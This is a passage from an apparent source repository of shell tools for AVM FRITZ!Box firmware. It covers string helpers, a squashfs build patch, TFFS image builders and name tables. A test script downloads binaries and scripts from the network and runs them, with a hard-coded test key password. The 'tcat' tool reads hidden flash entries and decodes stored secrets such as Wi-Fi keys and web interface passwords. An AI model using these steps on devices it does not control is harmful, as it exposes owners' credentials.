\t\r]}" 34 | if [ ${#char} -gt 1 ]; then 35 | if [ "${char#[[]}" = "$char" ] || [ "${char%[]]}" = "$char" ]; then 36 | return 1 37 | fi 38 | fi 39 | if [ $dir -eq -1 ]; then 40 | sed -e "s!^${char}*!!g" 41 | elif [ $dir -eq 1 ]; then 42 | sed -e "s!${char}*\$!!g" 43 | else 44 | sed -e "s!^${char}*!!g" -e "s!${char}*\$!!g" 45 | fi 46 | return $? 47 | ) 48 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_uppercase.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # uppercase - convert string to uppercase letters # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdin: # 12 | # input data to be translated ... only ASCII characters are handled correctly # 13 | # # 14 | # stdout: # 15 | # input data with each occurence of 'a' to 'z' translated to 'A' to 'Z' # 16 | # # 17 | # return code: # 18 | # 0 - stdout value is valid # 19 | # 1 - error occured, usally stdin isn't a valid stream or 'tr' finished with errors # 20 | # # 21 | ####################################################################################### 22 | # # 23 | # U: sed # 24 | # W: - # 25 | # F: - # 26 | # I: - # 27 | # K: strings # 28 | # # 29 | ####################################################################################### 30 | yf_uppercase() 31 | ( 32 | sed -e "y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/" 33 | return $? 34 | ) 35 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_wireless_interfaces.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # wireless_interfaces - get the name(s) of all wireless interfaces from sysfs # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdout: # 12 | # the names of wireless interfaces # 13 | # # 14 | # return code: # 15 | # alwasy 0 - the list will be empty in case of an error # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: find sed # 20 | # W: - # 21 | # F: yf_sysfs # 22 | # I: - # 23 | # K: network # 24 | # # 25 | ####################################################################################### 26 | yf_wireless_interfaces() 27 | ( 28 | sysfs="$(yf_sysfs || printf "/sys")" 29 | find $sysfs/class/net/*/wireless -maxdepth 1 -type d -print 2>/dev/null \ 30 | | sed -e "s|^$sysfs/class/net/\([^/]*\)/wireless\$|\1|" -e '/^$/d' \ 31 | | sed -e ':x;$!N;s/\n/ /;tx' 32 | return 0 33 | ) 34 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_word_of.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # word_of - return the n-th entry from a list of words # 7 | # # 8 | # parameters: # 9 | # $1 - number of word to retrieve # 10 | # $2 - word list # 11 | # # 12 | # stdout: # 13 | # the n-th word # 14 | # # 15 | # return code: # 16 | # 0 - value found # 17 | # 1 - invalid parameter ($1 isn't a decimal number or 0) # 18 | # 2 - word list is too short to find the n-th entry # 19 | # # 20 | ####################################################################################### 21 | # # 22 | # U: printf # 23 | # W: - # 24 | # F: yf_is_decimal # 25 | # I: - # 26 | # K: strings # 27 | # # 28 | ####################################################################################### 29 | yf_word_of() 30 | ( 31 | n=$1 32 | i=0 33 | yf_is_decimal $n || return 1 34 | [ $n -lt 1 ] && return 1 35 | for word in $2; do 36 | i=$(( i + 1 )) 37 | [ $i -eq $n ] && printf "$word" && return 0 38 | done 39 | return 2 40 | ) 41 | -------------------------------------------------------------------------------- /scriptlib/yourfritz_helpers: -------------------------------------------------------------------------------- 1 | yf_helpers -------------------------------------------------------------------------------- /signimage/avm_pubkey_to_pkcs8: -------------------------------------------------------------------------------- 1 | yf_mod2der -------------------------------------------------------------------------------- /signimage/check_signed_image: -------------------------------------------------------------------------------- 1 | yf_check_signature -------------------------------------------------------------------------------- /signimage/database/extract_version_values: -------------------------------------------------------------------------------- 1 | ../../toolbox/image/extract_version_values -------------------------------------------------------------------------------- /signimage/generate_signing_key: -------------------------------------------------------------------------------- 1 | yf_genkey -------------------------------------------------------------------------------- /signimage/key_database.xsd: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /signimage/run_signature_tests: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | yf_repo_base="https://raw.githubusercontent.com/PeterPawn" 3 | yf_repo="$yf_repo_base/YourFritz" 4 | yf_bin_repo="$yf_repo_base/yf_bin" 5 | yf_bin_repo_branch="$yf_bin_repo/yf_signimage_test" 6 | yf_bin_repo_target="$yf_bin_repo_branch/target" 7 | yf_bin_platform="$(uname -m)" 8 | yf_bin_kernel="$(uname -r)" 9 | yf_yourfritz_branch="main" 10 | yf_signimage_directory="$yf_repo/$yf_yourfritz_branch/signimage" 11 | yf_signimage_files="avm_pubkey_to_pkcs8 yf_check_signature yf_genkey yf_signimage.conf yf_sign show_signature_problem" 12 | yf_signimage_binaries="openssl" 13 | yf_red="$(printf "\033[31m\033[1m")" 14 | yf_yellow="$(printf "\033[33m\033[1m")" 15 | yf_green="$(printf "\033[32m\033[1m")" 16 | yf_blue="$(printf "\033[34m\033[1m")" 17 | yf_reset="$(printf "\033[0m")" 18 | download_cmd="httpsdl -n" 19 | dir="/var/signimage_test" 20 | yf_clean_path="$dir:/bin:/usr/bin:/sbin:/usr/sbin" 21 | openssl_conf="/var/custom_config/etc/ssl/openssl.cnf" 22 | keypassword="12345678" 23 | # 24 | # some helpers 25 | # 26 | msg() 27 | ( 28 | exec 1>&2 29 | printf "%s" "$1" 30 | shift 31 | mask="$1" 32 | shift 33 | printf "$mask" "$@" 34 | printf "%s" "$yf_reset" 35 | ) 36 | emsg() ( msg "$yf_red" "$@"; ) 37 | info() ( msg "$yf_reset" "$@"; ) 38 | download() 39 | ( 40 | export -n PATH 41 | export -n LD_LIBRARY_PATH 42 | export PATH=$yf_clean_path 43 | $download_cmd "$*" 2>/dev/null 44 | ) 45 | # 46 | # and action 47 | # 48 | rm -r "$dir" 2>/dev/null 49 | mkdir -p "$dir" 50 | cd "$dir" 51 | for b in $yf_signimage_binaries; do 52 | url="$yf_bin_repo_target/$yf_bin_platform/$yf_bin_kernel/$b" 53 | download "$url" 54 | down_rc=$? 55 | if [ "$down_rc" -ne 0 ]; then 56 | emsg "Error downloading binary from %s, aborting.\n" "$url" 57 | exit 1 58 | fi 59 | chmod a+x "./$b" 60 | info "Loaded binary %s for current platform.\n" "$b" 61 | done 62 | for s in $yf_signimage_files; do 63 | url="$yf_signimage_directory/$s" 64 | download "$url" 65 | down_rc=$? 66 | if [ "$down_rc" -ne 0 ]; then 67 | emsg "Error downloading script file from %s, aborting.\n" "$url" 68 | exit 1 69 | fi 70 | chmod a+x "./$s" 71 | info "Loaded script file %s from repository.\n" "$s" 72 | done 73 | if ! [ -f "$openssl_conf" ]; then 74 | mkdir -p "${openssl_conf%/*}" 75 | touch "$openssl_conf" 76 | fi 77 | export HOME="$dir" 78 | export TMPDIR="$dir" 79 | export name_prefix="$dir/firmware_signing" 80 | export -n LD_LIBRARY_PATH 81 | export PATH="$yf_clean_path" 82 | info "%s%s\n" "$yf_blue" "$(openssl version)" 83 | info "Preparing key pair ...\n" 84 | dd if=/dev/urandom of="$name_prefix.rnd" bs=16 count=16 2>/dev/null 85 | generate_signing_key "$keypassword" 86 | rc=$? 87 | if [ "$rc" -ne 0 ]; then 88 | emsg "Error generating temporary signing key.\n" 89 | exit 1 90 | fi 91 | "$dir/show_signature_problem" "$keypassword" 92 | -------------------------------------------------------------------------------- /signimage/sign_image: -------------------------------------------------------------------------------- 1 | yf_sign -------------------------------------------------------------------------------- /squashfs/029-makefile_windows.patch: -------------------------------------------------------------------------------- 1 | --- squashfs-tools/Makefile 2 | +++ squashfs-tools/Makefile 3 | @@ -26,7 +26,7 @@ 4 | # To build using XZ Utils liblzma - install the library and uncomment 5 | # the XZ_SUPPORT line below. 6 | # 7 | -#XZ_SUPPORT = 1 8 | +XZ_SUPPORT = 1 9 | 10 | 11 | ############ Building LZO support ############## 12 | @@ -73,7 +73,7 @@ 13 | # 14 | #LZMA_XZ_SUPPORT = 1 15 | #LZMA_SUPPORT = 1 16 | -#LZMA_DIR = ../../../../LZMA/lzma465 17 | +LZMA_DIR = /usr/include/lzma 18 | 19 | ######## Specifying default compression ######## 20 | # 21 | @@ -81,7 +81,7 @@ 22 | # in Mksquashfs. Obviously the compression algorithm must have been 23 | # selected to be built 24 | # 25 | -COMP_DEFAULT = gzip 26 | +COMP_DEFAULT = xz 27 | 28 | ############################################### 29 | # Extended attribute (XATTRs) build options # 30 | @@ -92,7 +92,7 @@ 31 | # If your C library or build/target environment doesn't support XATTRs then 32 | # comment out the next line to build Mksquashfs and Unsquashfs without XATTR 33 | # support 34 | -XATTR_SUPPORT = 1 35 | +XATTR_SUPPORT = 0 36 | 37 | # Select whether you wish xattrs to be stored by Mksquashfs and extracted 38 | # by Unsquashfs by default. If selected users can disable xattr support by 39 | @@ -100,8 +100,9 @@ 40 | # 41 | # If unselected, Mksquashfs/Unsquashfs won't store and extract xattrs by 42 | # default. Users can enable xattrs by using the -xattrs option. 43 | -XATTR_DEFAULT = 1 44 | +XATTR_DEFAULT = 0 45 | 46 | +STATIC = 1 47 | 48 | ############################################### 49 | # End of BUILD options section # 50 | @@ -123,6 +124,11 @@ 51 | -Wall 52 | 53 | LIBS = -lpthread -lm 54 | + 55 | +ifeq ($(STATIC),1) 56 | +LIBS += -Wl,-Bstatic 57 | +endif 58 | + 59 | ifeq ($(GZIP_SUPPORT),1) 60 | CFLAGS += -DGZIP_SUPPORT 61 | MKSQUASHFS_OBJS += gzip_wrapper.o 62 | @@ -177,6 +183,10 @@ 63 | COMPRESSORS += lz4 64 | endif 65 | 66 | +ifeq ($(STATIC),1) 67 | +LIBS += -Wl,-Bdynamic 68 | +endif 69 | + 70 | ifeq ($(XATTR_SUPPORT),1) 71 | ifeq ($(XATTR_DEFAULT),1) 72 | CFLAGS += -DXATTR_SUPPORT -DXATTR_DEFAULT 73 | -------------------------------------------------------------------------------- /squashfs/README.md: -------------------------------------------------------------------------------- 1 | # Modifications for SquashFS 4.3 tools 2 | 3 | While investigating the opportunities to unpack, modify and repack a SquashFS image from the “Windows Bash” (that means the Ubuntu subsystem on Windows 10 x64 systems), I found once more, that the emulated syscall for ‘mknod’ does not implement the creation of “special files” (character and block device inodes) and even if it would do this, the creation of such an inode requires superuser access rights. 4 | 5 | Both preconditions usually are not met while unpacking - but the 'mksquashfs' utility provides an option (-pf) to create device inodes within a new image using another way. 6 | 7 | While unpacking an existing image, the ‘unsquashfs’ utility should create such a file with “pseudo file definitions” and not try, to create real device nodes ... this will always fail on Windows or emit an error message even on a Linux system, if the caller was not the superuser. 8 | 9 | Because some inode properties (date/time info) are lost this way, I’d like to implement an additional option in the future, which takes all file attributes from another file, that was built by an earlier call of 'unsquashfs' with ‘-lls’ or ‘-linfo’ option. 10 | 11 | If such an option exists, it doesn’t matter any longer, whether the "underlying" filesystem supports Linux attributes at all … it would only be used to store “real file content” and all metadata for these files are taken from (or managed by) this “list file”. 12 | 13 | This would allow a version of 'squashfs-tools' running on a native Windows installation without the subsystem emulation, where a Windows filesystem is used to store the unpacked files. 14 | 15 | So I would like to add and/or change some code, modifying the (original) SquashFS tools … the first step was the separation of listing output (on STDOUT) from other messages during an "unsquashfs" call (which are directed to STDERR now). 16 | 17 | This is done with the first patch ‘020-definite_streams_for_displayed_text.patch’. To get a "list file" as mentioned above, the caller may redirect STDOUT to a file. 18 | 19 | The second patch adds a new option ‘-no-dev’ to the ‘unsquashfs’ utility. If it’s specified, the creation of special inodes is skipped without error messages. 20 | 21 | To save the special files from an image to a pseudo definition file, a second option ‘-pseudo’ was implemented, which implies ‘-no-dev’ and writes one line for each character or block device into a specified file. 22 | 23 | This file may later be used to re-create these devices in a ‘mksquashfs’ call, while they are not really present in the filesystem directory. 24 | 25 | I've decided to patch the original code instead of the Freetz version ... the new behavior may be useful for "normal" SquashFS images too and is not a special use-case for a FRITZ!OS image. As result, some Freetz patches have to be recreated, but this is "by intention" and will be done later. 26 | -------------------------------------------------------------------------------- /tffs/build_tffs_image: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | ################################################################################## 4 | # 5 | # prepare a full TFFS image containing the name table, the environment settings 6 | # and the counters 7 | # 8 | # Parameters: 9 | # 10 | # $1 - path to name table file 11 | # $2 - path to environment file 12 | # $3 - path to counters file 13 | # $n - additional file(s) to be included; the TFFS node ID is determined by the 14 | # name of the file (that means, it has to be the 4-character hexadecimal ID 15 | # to be used, e.g. 001d for "provider_addtive.tar") and the content has to be 16 | # the (zlib) deflated text (or binary data); the name may carry any suffix 17 | # as "extension" - "001d.bin" is a valid one. 18 | # 19 | ################################################################################## 20 | # 21 | # helper functions 22 | # 23 | ################################################################################## 24 | . ${YF_SCRIPT_DIR:-.}/yf_helpers 25 | ################################################################################## 26 | # 27 | # create the image now 28 | # 29 | ################################################################################## 30 | # 31 | # segment header with the earliest value, will be incremented with each new 32 | # version written to TFFS 33 | # 34 | yf_pack B16 1 B16 4 8 255 8 255 8 255 8 254 35 | # 36 | # add name table 37 | # 38 | ${0%/*}/nametable_to_tffs <"$1" 39 | # 40 | # add environment 41 | # 42 | ${0%/*}/environment_to_tffs "$1" <"$2" 43 | # 44 | # add counters 45 | # 46 | ${0%/*}/counter_to_tffs <"$3" 47 | # 48 | # add optional files 49 | # 50 | shift 3 51 | for name in $*; do 52 | id="${name##*/}" 53 | id="${id%%.*}" 54 | content="$(cat "$name" | yf_bin2hex)" 55 | len=$(( ${#content} / 2 )) 56 | out="$id$(yf_dec2hex $len 2)$content" 57 | fill=$(( ( ( len + 3 ) & ~3 ) - len )) 58 | while [ $fill -gt 0 ]; do 59 | out="${out}00" 60 | fill=$(( fill - 1 )) 61 | done 62 | echo "$out" | yf_hex2bin 63 | done 64 | echo "FFFF" | yf_hex2bin 65 | ################################################################################## 66 | # 67 | # regular end of script reached 68 | # 69 | ################################################################################## 70 | exit 0 71 | -------------------------------------------------------------------------------- /tffs/data/nametable: -------------------------------------------------------------------------------- 1 | nametable_@N -------------------------------------------------------------------------------- /tffs/data/nametable_@L: -------------------------------------------------------------------------------- 1 | 510 @L 2 | 431 AutoMDIX 3 | 259 DMC 4 | 256 HWRevision 5 | 260 HWSubRevision 6 | 257 ProductID 7 | 258 SerialNumber 8 | 425 annex 9 | 385 autoload 10 | 512 bb0 11 | 513 bb1 12 | 514 bb2 13 | 515 bb3 14 | 516 bb4 15 | 517 bb5 16 | 518 bb6 17 | 519 bb7 18 | 520 bb8 19 | 521 bb9 20 | 386 bootloaderVersion 21 | 387 bootserport 22 | 428 bluetooth_key 23 | 388 bluetooth 24 | 424 country 25 | 389 cpufrequency 26 | 417 crash 27 | 390 firstfreeaddress 28 | 430 firmware_info 29 | 422 firmware_version 30 | 391 flashsize 31 | 441 jffs2_size 32 | 416 kernel_args 33 | 415 kernel_args1 34 | 423 language 35 | 408 linux_fs_start 36 | 392 maca 37 | 393 macb 38 | 394 macwlan 39 | 406 macwlan2 40 | 395 macdsl 41 | 396 memsize 42 | 397 modetty0 43 | 398 modetty1 44 | 452 modulemem 45 | 432 mtd0 46 | 433 mtd1 47 | 434 mtd2 48 | 435 mtd3 49 | 436 mtd4 50 | 437 mtd5 51 | 438 mtd6 52 | 439 mtd7 53 | 442 mtd8 54 | 443 mtd9 55 | 444 mtd10 56 | 445 mtd11 57 | 446 mtd12 58 | 447 mtd13 59 | 454 mtd14 60 | 455 mtd15 61 | 399 my_ipaddress 62 | 453 plc_dak_nmk 63 | 400 prompt 64 | 451 provider 65 | 426 ptest 66 | 401 reserved 67 | 402 req_fullrate_freq 68 | 403 sysfrequency 69 | 449 tr069_passphrase 70 | 448 tr069_serial 71 | 509 urlader-version 72 | 404 usb_board_mac 73 | 418 usb_device_id 74 | 420 usb_device_name 75 | 421 usb_manufacturer_name 76 | 419 usb_revision_id 77 | 405 usb_rndis_mac 78 | 450 webgui_pass 79 | 440 wlan_cal 80 | 427 wlan_key 81 | 456 wlan_ssid 82 | -------------------------------------------------------------------------------- /tffs/data/nametable_@M: -------------------------------------------------------------------------------- 1 | 510 @M 2 | 431 AutoMDIX 3 | 259 DMC 4 | 459 HardwareFeatures 5 | 256 HWRevision 6 | 260 HWSubRevision 7 | 257 ProductID 8 | 258 SerialNumber 9 | 460 SoftwareFeatures 10 | 425 annex 11 | 385 autoload 12 | 512 bb0 13 | 513 bb1 14 | 514 bb2 15 | 515 bb3 16 | 516 bb4 17 | 517 bb5 18 | 518 bb6 19 | 519 bb7 20 | 520 bb8 21 | 521 bb9 22 | 386 bootloaderVersion 23 | 387 bootserport 24 | 428 bluetooth_key 25 | 388 bluetooth 26 | 424 country 27 | 389 cpufrequency 28 | 417 crash 29 | 390 firstfreeaddress 30 | 430 firmware_info 31 | 422 firmware_version 32 | 391 flashsize 33 | 457 gpon_serial 34 | 441 jffs2_size 35 | 416 kernel_args 36 | 415 kernel_args1 37 | 423 language 38 | 408 linux_fs_start 39 | 392 maca 40 | 393 macb 41 | 394 macwlan 42 | 406 macwlan2 43 | 458 macwlan3 44 | 395 macdsl 45 | 396 memsize 46 | 397 modetty0 47 | 398 modetty1 48 | 452 modulemem 49 | 432 mtd0 50 | 433 mtd1 51 | 434 mtd2 52 | 435 mtd3 53 | 436 mtd4 54 | 437 mtd5 55 | 438 mtd6 56 | 439 mtd7 57 | 442 mtd8 58 | 443 mtd9 59 | 444 mtd10 60 | 445 mtd11 61 | 446 mtd12 62 | 447 mtd13 63 | 454 mtd14 64 | 455 mtd15 65 | 399 my_ipaddress 66 | 453 plc_dak_nmk 67 | 400 prompt 68 | 451 provider 69 | 426 ptest 70 | 401 reserved 71 | 402 req_fullrate_freq 72 | 403 sysfrequency 73 | 449 tr069_passphrase 74 | 448 tr069_serial 75 | 509 urlader-version 76 | 404 usb_board_mac 77 | 418 usb_device_id 78 | 420 usb_device_name 79 | 421 usb_manufacturer_name 80 | 419 usb_revision_id 81 | 405 usb_rndis_mac 82 | 450 webgui_pass 83 | 440 wlan_cal 84 | 427 wlan_key 85 | 456 wlan_ssid 86 | -------------------------------------------------------------------------------- /tffs/data/nametable_@N: -------------------------------------------------------------------------------- 1 | 510 @N 2 | 431 AutoMDIX 3 | 259 DMC 4 | 459 HardwareFeatures 5 | 256 HWRevision 6 | 260 HWSubRevision 7 | 257 ProductID 8 | 258 SerialNumber 9 | 460 SoftwareFeatures 10 | 425 annex 11 | 385 autoload 12 | 512 bb0 13 | 513 bb1 14 | 514 bb2 15 | 515 bb3 16 | 516 bb4 17 | 517 bb5 18 | 518 bb6 19 | 519 bb7 20 | 520 bb8 21 | 521 bb9 22 | 386 bootloaderVersion 23 | 387 bootserport 24 | 428 bluetooth_key 25 | 388 bluetooth 26 | 424 country 27 | 389 cpufrequency 28 | 417 crash 29 | 390 firstfreeaddress 30 | 430 firmware_info 31 | 422 firmware_version 32 | 391 flashsize 33 | 457 gpon_serial 34 | 441 jffs2_size 35 | 416 kernel_args 36 | 415 kernel_args1 37 | 423 language 38 | 408 linux_fs_start 39 | 461 linux_fs_status 40 | 392 maca 41 | 393 macb 42 | 394 macwlan 43 | 406 macwlan2 44 | 458 macwlan3 45 | 395 macdsl 46 | 396 memsize 47 | 397 modetty0 48 | 398 modetty1 49 | 452 modulemem 50 | 432 mtd0 51 | 433 mtd1 52 | 434 mtd2 53 | 435 mtd3 54 | 436 mtd4 55 | 437 mtd5 56 | 438 mtd6 57 | 439 mtd7 58 | 442 mtd8 59 | 443 mtd9 60 | 444 mtd10 61 | 445 mtd11 62 | 446 mtd12 63 | 447 mtd13 64 | 454 mtd14 65 | 455 mtd15 66 | 399 my_ipaddress 67 | 453 plc_dak_nmk 68 | 400 prompt 69 | 451 provider 70 | 426 ptest 71 | 401 reserved 72 | 402 req_fullrate_freq 73 | 403 sysfrequency 74 | 449 tr069_passphrase 75 | 448 tr069_serial 76 | 509 urlader-version 77 | 404 usb_board_mac 78 | 418 usb_device_id 79 | 420 usb_device_name 80 | 421 usb_manufacturer_name 81 | 419 usb_revision_id 82 | 405 usb_rndis_mac 83 | 450 webgui_pass 84 | 440 wlan_cal 85 | 427 wlan_key 86 | 456 wlan_ssid 87 | -------------------------------------------------------------------------------- /tffs/fritzos_scripts/create_nametable: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | SYM_NAME="TFFS_Name_Table" 4 | get_name() 5 | { 6 | local addr=$1 name="" char 7 | while true; do 8 | char=$(devmem $addr 8) 9 | [ $char == 0x00 ] && break 10 | name="$name\\${char:1}" 11 | addr=$(( addr + 1 )) 12 | done 13 | echo -e "$name" 14 | } 15 | start=$(sed -n -e "s/^\(.*\) B $SYM_NAME/\1/p" /proc/kallsyms) 16 | [ x$start == x ] && echo "$SYM_NAME not found" && exit 1 17 | first=$(( 0x$start & 0x3FFFFFFF )) 18 | index=0 19 | while true; do 20 | val=$(devmem $(( first + ( index * 68 ) )) 32) 21 | [ $val == 0x00000000 ] && break 22 | id=$(( $val )) 23 | name=$(get_name $(( first + index * 68 + 4 ))) 24 | index=$(( index + 1 )) 25 | echo "$id $name" 26 | done 27 | -------------------------------------------------------------------------------- /tffs/fritzos_scripts/tcat: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | find_executable() 4 | { 5 | e="$1" 6 | IFS=: 7 | set -- $PATH 8 | while [ ${#1} -gt 0 ]; do 9 | [ -x "$1/$e" ] && return 0 10 | shift 11 | done 12 | return 1 13 | } 14 | 15 | decode() 16 | { 17 | cat "$1" | gunzip -c 2>/dev/null 18 | if [ $? -ne 0 ]; then 19 | cat "$1" 20 | fi 21 | } 22 | 23 | if [ -z "$1" ]; then 24 | printf "Usage: $0 \n\n" 1>&2 25 | printf "cat an invisible TFFS file\n\n" 1>&2 26 | printf " - TFFS character device minor id\n" 1>&2 27 | exit 1 28 | fi 29 | major=$(sed -n -e "s|^ *\([0-9]\{1,3\}\) tffs\$|\1|p" /proc/devices) 30 | if ! [ "$(expr "$1" : "\(^[0-9]*$\)")" = "$1" ]; then 31 | printf "Non-numeric argument '%s' specified.\n" "$1" 1>&2 32 | exit 1 33 | fi 34 | i=$1 35 | if [ $i -gt 0 ] && [ $i -le 255 ]; then 36 | minor=$i 37 | fn="/var/tmp/mknod_$$_$(date +%s)" 38 | mknod "$fn" c $major $minor 39 | checkempty "$fn" 2>/dev/null 40 | if [ $? -eq 1 ]; then 41 | find_executable "decode_secrets" && ( decode "$fn" | decode_secrets ) || decode "$fn" 42 | rc=0 43 | else 44 | printf "The file is empty.\n" 1>&2 45 | rc=1 46 | fi 47 | rm "$fn" 48 | exit $rc 49 | else 50 | printf "The specified minor id '%s' is invalid.\n" "$1" 1>&2 51 | exit 1 52 | fi 53 | -------------------------------------------------------------------------------- /tffs/fritzos_scripts/tdel: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | if [ -z $1 ]; then 4 | printf "Usage: $0 \n\n" 1>&2 5 | printf "clear the content of a TFFS file\n\n" 1>&2 6 | printf " - TFFS character device minor id\n" 1>&2 7 | exit 1 8 | fi 9 | major=$(sed -n -e "s|^ *\([0-9]\{1,3\}\) tffs\$|\1|p" /proc/devices) 10 | if ! [ "$(expr "$1" : "\(^[0-9]*$\)")" = "$1" ]; then 11 | printf "Non-numeric argument '%s' specified.\n" "$1" 1>&2 12 | exit 1 13 | fi 14 | i=$1 15 | if [ $i -gt 0 ] && [ $i -le 255 ]; then 16 | minor=$i 17 | fn="/var/tmp/mknod_$$_$(date +%s)" 18 | mknod $fn c $major $minor 19 | checkempty $fn 2>/dev/null 20 | if [ $? -eq 1 ]; then 21 | printf "clear_id $i\n" >/proc/tffs 22 | rc=0 23 | else 24 | printf "The file is empty already.\n" 1>&2 25 | rc=1 26 | fi 27 | rm $fn 28 | exit $rc 29 | else 30 | printf "The specified minor id '%s' is invalid.\n" "$1" 1>&2 31 | exit 1 32 | fi 33 | -------------------------------------------------------------------------------- /tffs/fritzos_scripts/tinstall: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | if [ -z $1 ] || [ -t 0 ]; then 4 | printf "Usage: $0 \n\n" 1>&2 5 | printf "create TFFS file from stdin content (which may not be a terminal device)\n\n" 1>&2 6 | printf " - TFFS character device minor id\n" 1>&2 7 | exit 1 8 | fi 9 | major=$(sed -n -e "s|^ *\([0-9]\{1,3\}\) tffs\$|\1|p" /proc/devices) 10 | if ! [ "$(expr "$1" : "\(^[0-9]*$\)")" = "$1" ]; then 11 | printf "Non-numeric argument '%s' specified.\n" "$1" 1>&2 12 | exit 1 13 | fi 14 | i=$1 15 | if [ $i -gt 0 ] && [ $i -le 255 ]; then 16 | minor=$i 17 | fn="/var/tmp/mknod_$$_$(date +%s)" 18 | mknod "$fn" c $major $minor 19 | cat >"$fn" 20 | rm "$fn" 21 | exit 0 22 | else 23 | printf "The specified minor id '%s' is invalid.\n" "$1" 1>&2 24 | exit 1 25 | fi 26 | -------------------------------------------------------------------------------- /tffs/fritzos_scripts/tlist.files: -------------------------------------------------------------------------------- 1 | ../data/tffs.files -------------------------------------------------------------------------------- /tffs/functions: -------------------------------------------------------------------------------- 1 | ../scriptlib/functions/ -------------------------------------------------------------------------------- /tffs/name_table_from_tffs: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # vim: set tabstop=4 syntax=sh : 4 | ################################################################################## 5 | # 6 | # extract text format of name table from the provided TFFS dump entry 7 | # 8 | ################################################################################## 9 | # 10 | # Name table entries consist of the ID as 32-bit integer and a NUL-terminated 11 | # string with the name value. The next entry starts at the next 32-bit boundary. 12 | # 13 | ################################################################################## 14 | # 15 | # helper functions 16 | # 17 | ################################################################################## 18 | . ${YF_SCRIPT_DIR:-.}/yf_helpers 19 | table="$(yf_bin2hex)" 20 | ################################################################################## 21 | # 22 | # process name table and write entries to stdout 23 | # 24 | ################################################################################## 25 | offset=0 26 | [ "$1" = "-d" ] && debug=1 || debug=0 27 | while [ $offset -lt ${#table} ]; do 28 | start=$offset 29 | id="$(yf_hex2dec "$(yf_substring "$table" $offset 8)")" 30 | offset=$(( offset + 8 )) 31 | name="" 32 | while ! [ "$(yf_substring "$table" $offset 2)" = "00" ]; do 33 | name="$name$(yf_substring "$table" $offset 2)" 34 | offset=$(( offset + 2 )) 35 | done 36 | offset=$(( offset + 2 )) 37 | [ $(( offset % 8 )) -ne 0 ] && offset=$(( offset + 8 - ( offset % 8 ) )) 38 | n="$(printf "%s\n" "$name" | yf_hex2bin)" 39 | [ $debug -eq 1 ] && printf "offset=%d id=%d name=%s\n" $start $id "$n" 1>&2 40 | printf "%d %s\n" $id "$n" 41 | done 42 | ################################################################################## 43 | # 44 | # regular end of script reached 45 | # 46 | ################################################################################## 47 | exit 0 48 | -------------------------------------------------------------------------------- /tffs/nametable_to_tffs: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | ################################################################################## 4 | # 5 | # prepare a (partial) TFFS image containing the TFFS name table 6 | # 7 | ################################################################################## 8 | # 9 | # The TFFS name table is an uncompressed file with node ID 0x1FF, containing a 10 | # four byte integer with the FLASH_FS_* value from tffs.h followed by the name as 11 | # C string (terminating NUL character) aligned up the next 4-byte boundary. 12 | # See the kernel sources for a list of numbers or use the "name_table_from_kernel" 13 | # script to extract the whole table from a running kernel (the format differs 14 | # slightly). 15 | # 16 | ################################################################################## 17 | # 18 | # The name table is expected as file containing the ID and the name as strings, 19 | # the format is the same as produced by the "name_table_from_kernel" script. The 20 | # name table is read from stdin and the binary output data is written to stdout. 21 | # 22 | # The name table is generated in the order of the lines from the input file. 23 | # 24 | ################################################################################## 25 | # 26 | # helper functions 27 | # 28 | ################################################################################## 29 | . ${YF_SCRIPT_DIR:-.}/yf_helpers 30 | ################################################################################## 31 | # 32 | # fixed identifiers 33 | # 34 | ################################################################################## 35 | nametable_id=511 36 | nametable_version=510 37 | ################################################################################## 38 | # 39 | # process name table file 40 | # 41 | ################################################################################## 42 | out="" 43 | while read id name; do 44 | hex_id="$(yf_dec2hex $id 4)" 45 | len=$(( ( ${#name} + 1 + 3 ) & ~3 )) 46 | hex_name="$(printf "%s" "$name" | yf_bin2hex)" 47 | fill=$(( len - ${#name} )) 48 | entry="$hex_id$hex_name" 49 | while [ $fill -gt 0 ]; do 50 | entry="${entry}00" 51 | fill=$(( fill - 1 )) 52 | done 53 | out="$out$entry" 54 | done 55 | len=$(( ${#out} / 2 )) 56 | out="$(yf_dec2hex "$nametable_id" 2)$(yf_dec2hex "$len" 2)$out" 57 | echo "$out" | yf_hex2bin 58 | 